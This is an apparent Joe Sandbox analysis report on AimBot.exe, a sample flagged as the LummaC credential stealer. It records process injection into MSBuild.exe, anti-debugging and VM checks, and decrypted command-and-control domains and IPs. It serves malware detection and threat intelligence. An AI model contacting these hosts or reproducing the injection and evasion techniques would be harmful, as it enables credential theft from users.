Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: AimBot.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: AimBot.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: AimBot.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: AimBot.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: AimBot.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: AimBot.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: AimBot.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: AimBot.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source: AimBot.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: AimBot.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: AimBot.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: AimBot.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: AimBot.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: AimBot.exe

Static PE information: real checksum: 0x8aa68 should be: 0x8f112

Source: C:\Users\user\Desktop\AimBot.exe	Code function: 1_2_006B6EF4 push ecx; ret	1_2_006B6F07
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 1_2_0072B8AC push cs; iretd	1_2_0072B92A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_00450BCC push cs; iretd	3_2_00450C4A

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\AimBot.exe

API coverage: 8.8 %

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 5868

Thread sleep time: -30000s >= -30000s

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\Desktop\AimBot.exe

Code function: 1_2_006C980F FindFirstFileExW,

1_2_006C980F

Source: Amcache.hve.6.dr	Binary or memory string: VMware
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.6.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.6.dr	Binary or memory string: VMware-42 27 c5 9a 47 85 d6 84-53 49 ec ec 87 a6 6d 67
Source: Amcache.hve.6.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.6.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.6.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.6.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.6.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: MSBuild.exe, 00000003.00000002.1566098236.000000000147C000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.1566098236.00000000014A4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.6.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.6.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.6.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.6.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.6.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.6.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.6.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.6.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.6.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.6.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.6.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.6.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.6.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.6.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.6.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.6.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.6.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.6.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

API call chain: ExitProcess graph end node

graph_3-22011

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 3_2_004472B0 LdrInitializeThunk,

3_2_004472B0

Source: C:\Users\user\Desktop\AimBot.exe

Code function: 1_2_006B7672 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

1_2_006B7672

Source: C:\Users\user\Desktop\AimBot.exe	Code function: 1_2_006CA39E mov eax, dword ptr fs:[00000030h]	1_2_006CA39E
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 1_2_006C0C7E mov ecx, dword ptr fs:[00000030h]	1_2_006C0C7E
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 1_2_006B1FE0 mov edi, dword ptr fs:[00000030h]	1_2_006B1FE0

Source: C:\Users\user\Desktop\AimBot.exe

Code function: 1_2_006CC99D GetProcessHeap,

1_2_006CC99D

Source: C:\Users\user\Desktop\AimBot.exe	Code function: 1_2_006B7360 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_006B7360
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 1_2_006B7672 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_006B7672
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 1_2_006B77FF SetUnhandledExceptionFilter,	1_2_006B77FF
Source: C:\Users\user\Desktop\AimBot.exe	Code function: 1_2_006BD7C3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_006BD7C3

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\AimBot.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\AimBot.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: AimBot.exe	String found in binary or memory: laddyirekyi.sbs
Source: AimBot.exe	String found in binary or memory: exilepolsiy.sbs
Source: AimBot.exe	String found in binary or memory: bemuzzeki.sbs
Source: AimBot.exe	String found in binary or memory: exemplarou.sbs
Source: AimBot.exe	String found in binary or memory: isoplethui.sbs
Source: AimBot.exe	String found in binary or memory: frizzettei.sbs
Source: AimBot.exe	String found in binary or memory: bleedminejw.buzz
Source: AimBot.exe	String found in binary or memory: wickedneatr.sbs
Source: AimBot.exe	String found in binary or memory: invinjurhey.sbs

Writes to foreign memory regions

Source: C:\Users\user\Desktop\AimBot.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\AimBot.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\AimBot.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 44D000	Jump to behavior
Source: C:\Users\user\Desktop\AimBot.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 450000	Jump to behavior
Source: C:\Users\user\Desktop\AimBot.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 460000	Jump to behavior
Source: C:\Users\user\Desktop\AimBot.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: E11008	Jump to behavior

Source: C:\Users\user\Desktop\AimBot.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"			Jump to behavior
Source: C:\Users\user\Desktop\AimBot.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"			Jump to behavior

Source: C:\Users\user\Desktop\AimBot.exe	Code function: EnumSystemLocalesW,	1_2_006CC079
Source: C:\Users\user\Desktop\AimBot.exe	Code function: EnumSystemLocalesW,	1_2_006CC0C4
Source: C:\Users\user\Desktop\AimBot.exe	Code function: EnumSystemLocalesW,	1_2_006CC15F
Source: C:\Users\user\Desktop\AimBot.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	1_2_006CC1EA
Source: C:\Users\user\Desktop\AimBot.exe	Code function: GetLocaleInfoW,	1_2_006CC43D
Source: C:\Users\user\Desktop\AimBot.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	1_2_006CC566
Source: C:\Users\user\Desktop\AimBot.exe	Code function: GetLocaleInfoW,	1_2_006CC66C
Source: C:\Users\user\Desktop\AimBot.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	1_2_006CC73B
Source: C:\Users\user\Desktop\AimBot.exe	Code function: EnumSystemLocalesW,	1_2_006C5ACF
Source: C:\Users\user\Desktop\AimBot.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	1_2_006CBDD7
Source: C:\Users\user\Desktop\AimBot.exe	Code function: GetLocaleInfoW,	1_2_006C5F79

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\AimBot.exe

Code function: 1_2_006B7565 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

1_2_006B7565

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.6.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: 3.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.AimBot.exe.6b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.1565893908.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: 3.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.AimBot.exe.6b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.1565893908.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	311 Process Injection	2 Virtualization/Sandbox Evasion	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Screen Capture	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	311 Process Injection	LSASS Memory	41 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Deobfuscate/Decode Files or Information	Security Account Manager	2 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	2 Clipboard Data	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Software Packing	LSA Secrets	33 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Link
AimBot.exe	60%	Virustotal	Browse
AimBot.exe	38%	ReversingLabs
AimBot.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
frizzettei.sbs	0%	Virustotal	Browse
bg.microsoft.map.fastly.net	0%	Virustotal	Browse
s-part-0017.t-0009.t-msedge.net	0%	Virustotal	Browse
fp2e7a.wpc.phicdn.net	0%	Virustotal	Browse
bleedminejw.buzz	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
http://upx.sf.net	0%	URL Reputation	safe
https://bleedminejw.buzz/api	0%	Virustotal		Browse
invinjurhey.sbs	0%	Virustotal		Browse
laddyirekyi.sbs	0%	Virustotal		Browse
frizzettei.sbs	0%	Virustotal		Browse
https://frizzettei.sbs/api	1%	Virustotal		Browse
isoplethui.sbs	0%	Virustotal		Browse
exemplarou.sbs	6%	Virustotal		Browse
exilepolsiy.sbs	0%	Virustotal		Browse
bleedminejw.buzz	0%	Virustotal		Browse
bemuzzeki.sbs	0%	Virustotal		Browse
wickedneatr.sbs	0%	Virustotal		Browse
https://frizzettei.sbs/	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
frizzettei.sbs	188.114.96.3	true	true	0%, Virustotal, Browse	unknown
bg.microsoft.map.fastly.net	199.232.214.172	true	false	0%, Virustotal, Browse	unknown
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	0%, Virustotal, Browse	unknown
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	0%, Virustotal, Browse	unknown
bleedminejw.buzz	172.67.178.50	true	true	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
frizzettei.sbs	true	0%, Virustotal, Browse	unknown
https://bleedminejw.buzz/api	true	0%, Virustotal, Browse	unknown
bemuzzeki.sbs	true	0%, Virustotal, Browse	unknown
invinjurhey.sbs	true	0%, Virustotal, Browse	unknown
exilepolsiy.sbs	true	0%, Virustotal, Browse	unknown
exemplarou.sbs	true	6%, Virustotal, Browse	unknown
laddyirekyi.sbs	true	0%, Virustotal, Browse	unknown
https://frizzettei.sbs/api	true	1%, Virustotal, Browse	unknown
wickedneatr.sbs	true	0%, Virustotal, Browse	unknown
isoplethui.sbs	true	0%, Virustotal, Browse	unknown
bleedminejw.buzz	true	0%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://frizzettei.sbs/apiPs	MSBuild.exe, 00000003.00000002.1566098236.00000000014A4000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://upx.sf.net	Amcache.hve.6.dr	false	URL Reputation: safe	unknown
https://frizzettei.sbs/	MSBuild.exe, 00000003.00000002.1566098236.000000000148D000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
188.114.96.3	frizzettei.sbs	European Union		13335	CLOUDFLARENETUS	true
172.67.178.50	bleedminejw.buzz	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1527617
Start date and time:	2024-10-07 06:43:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 31s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	AimBot.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@6/5@2/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 72% Number of executed functions: 22 Number of non-executed functions: 160
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
